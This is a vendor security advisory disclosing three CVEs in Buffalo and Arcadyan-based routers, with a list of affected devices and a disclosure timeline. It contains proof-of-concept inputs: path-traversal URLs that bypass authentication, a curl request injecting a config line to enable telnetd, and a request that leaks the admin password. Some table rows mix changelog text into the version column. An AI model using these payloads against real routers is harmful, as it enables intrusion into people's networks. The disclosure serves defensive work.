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Multiple Vulnerabilities in Buffalo and Arcadyan manufactured routers

High

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Synopsis

Tenable has discovered multiple vulnerabilities in routers manufactured by Arcadyan.

During the disclosure process for the issues discovered in the Buffalo routers, Tenable discovered that CVE-2021-20090 affected many more devices, as the root cause of the vulnerability exists in the underlying Arcadyan firmware.

Please note that CVE-2021-20091 and CVE-2021-20092 have only been confirmed on Buffalo WSR-2533 models.

CVE-2021-20090 : Path Traversal

CVSSv3 Base Score: 8.1

CVSSv3 Vector: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

A path traversal vulnerability in the web interfaces of networking devices manufactured by Arcadyan, including Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24, could allow unauthenticated remote attackers to bypass authentication.

Risk Information

CVE ID: [CVE-2021-20090](#)

[CVE-2021-20091](#)

[CVE-2021-20092](#)

Tenable Advisory ID: TRA-2021-13

Credit:

Evan Grant

CVSSv2 Base / Temporal Score:
9.3

CVSSv2 Vector:

AV:N/AC:M/Au:N/C:C/I:C/A:C

CVSSv3 Base / Temporal Score:
8.1

CVSSv3 Vector:

AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:

Risk Factor:

High



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confirmed.
Please contact the devices' respective vendors for more information.

Updated version:
18 May 2021 - Updated formatting for Advisory Identifier
20 July 2021 - Added list of vendors affected by CVE-2021-20090
Found on version

Vendor	Device	Found on version
ADB	ADSL wireless IAD router	03 August 2021 - Added PoCs 1.285-R-3P
Arcadyan	ARV7519	04 August 2021 - Added additional references Corrected typo.
Arcadyan	VRV9517	6.00.17 build04
Arcadyan	VGV7519	3.01.116
Arcadyan	VRV9518	1.01.00 build44
ASMAX	BBR-4MG / SMC7908 ADSL	0.08
ASUS	DSL-AC88U (Arc VRV9517)	1.10.05 build502
ASUS	DSL-AC87VG (Arc VRV9510)	1.05.18 build305
ASUS	DSL-AC3100	1.10.05 build503
ASUS	DSL-AC68VG	5.00.08 build272
Beeline	Smart Box Flash	1.00.13_beta4
British Telecom	WE410443-SA	1.02.12 build02
Buffalo	WSR-2533DHPL2	1.02
Buffalo	WSR-2533DHP3	1.24
Buffalo	BBR-4HG	
Buffalo	BBR-4MG	2.08 Release 0002



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Buffalo	WXR-5700AX7S	1.11
Deutsche Telekom	Speedport Smart 3	010137.4.8.001.0
HughesNet	HT2000W	0.10.10
KPN	ExperiaBox V10A (Arcadyan VRV9517)	5.00.48 build453
KPN	VG7519	3.01.116
O2	HomeBox 6441	1.01.36
Orange	LiveBox Fibra (PRV3399)	00.96.00.96.617ES
Skinny	Smart Modem (Arcadyan VRV9517)	6.00.16 build01
SparkNZ	Smart Modem (Arcadyan VRV9517)	6.00.17 build04
Telecom (Argentina)	Arcadyan VRV9518VAC23-A-OS-AM	1.01.00 build44
TelMex	PRV33AC	1.31.005.0012
TelMex	VRV7006	
Telstra	Smart Modem Gen 2 (LH1000)	0.13.01r
Telus	WiFi Hub (PRV65B444A-S-TS)	v3.00.20
Telus	NH20A	1.00.10debug build06
Verizon	Fios G3100	2.0.0.6
Vodafone	EasyBox 904	4.16
Vodafone	EasyBox 903	30.05.714
Vodafone	EasyBox 802	20.02.226



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the vulnerability can be triggered by multiple paths. The simplest examples would be:

For a device in which **http://<ip>/index.htm** requires authentication, an attacker could access **index.htm** using the following paths:

- **http://<ip>/images/..%2findex.htm**
- **http://<ip>/js/..%2findex.htm**
- **http://<ip>/css/..%2findex.htm**

To have the pages load properly, one will need to use proxy match/replace settings to ensure any resources loaded which require authentication also leverage the path traversal. Additionally, certain files (those found under /cgi/) require a csrf (named **httoken** on these devices) token and a valid **Referer** header which will cause an error if the referer includes the **..%2f** traversal (which can be match/replaced as well).

CVE-2021-20091 : Configuration File Injection

CVSSv3 Base Score: 7.5

CVSSv3 Vector: AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 do not properly sanitize user input. An authenticated remote attacker could leverage this vulnerability to alter device configuration, potentially gaining remote code execution.

Proof of Concept:

The injection occurs in parameters which pass from **apply_abstract.cgi** to the device's global config file. Assuming the user is logged in (or, alternatively, the url can be changed to /images/..%2fapply_abstract.cgi, leveraging the path traversal), the following command could be used to inject a line into the configuration file which enables **telnetd**.

```
curl --include -X POST http://<ip>/apply_abstract.cgi -H "Referer: http:
```



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CVE-2021-20092 : Improper Access Control

CVSSv3 Base Score: 5.9

CVSSv3 Vector: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 do not properly restrict access to sensitive information from an unauthorized actor.

Proof of Concept:

1. To get a valid httoken, navigate to `http://<ip of device>/loginerror.html` in a modern browser (tested on chrome).
2. Open DevTools
3. Run `getToken()` in the Console.
4. Copy the token, and use it in the following command from a terminal:

```
$ curl --include "http://192.168.11.1/cgi/cgi_i_filter.js?_tn=442853667"

HTTP/1.1 200 OK
Date: Mon, 13 Jan 2020 15:24:03 GMT
Server: Arcadyan httpd 1.0
Content-type: application/x-javascript
X-FRAME-OPTIONS: SAMEORIGIN
Connection: close

/*DEMO*/
var login_password = "<admin password>";

addCfg("lan_ipaddr", 0, "192.168.11.1");
```

Solution

Customers should seek update and mitigation information from their respective vendors.

Additional References

<https://kb.cert.org/vuls/id/914124>

<https://www.buffalo.jp/news/detail/20210727-01.html>



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[why-iot-supply-chain-is-to-blame](#)

Disclosure Timeline

January 24, 2021 - Tenable reports vulnerabilities to Buffalo Japan (buffalo.jp)

January 28, 2021 - Tenable tries to report vulnerabilities to Buffalo Group (buffalo-technology.com)

February 4, 2021 - Tenable reports vulnerabilities to Buffalo Americas (buffalotech.com)

February 9, 2021 - Buffalo Support confirms and escalates to Buffalo Japan

February 24, 2021 - Buffalo Japan confirms vulnerabilities, informs Tenable they are working on a patch

April 14, 2021 - Buffalo informs Tenable that they will disclose on April 26

April 21, 2021 - Tenable informs Verizon, Vodafone, O2 (Telefonica), Hughesnet

April 22, 2021 - Tenable informs Arcadyan that multiple vendors using their devices are affected

April 25, 2021 - Arcadyan confirms vulnerabilities and that they are working with one vendor to fix

April 25, 2021 - Tenable asks if Arcadyan can confirm a list of potentially affected vendors, and if they are helping those vendors to fix the issue. (Arcadyan stops responding)

April 26, 2021 - Advisory Initially Published

May 18, 2021 - Tenable discovers many more affected vendors, and decides to report to CERT Coordination Center

May 19, 2021 - CERT Coordination Center opens case in VINCE to help with reporting and disclosure

July 20, 2021 - Advisory updated with additional models affected by CVE-2021-20090

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quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our [Vulnerability Reporting Guidelines](#) page.

If you have questions or corrections about this advisory, please email bughunters@tenable.com



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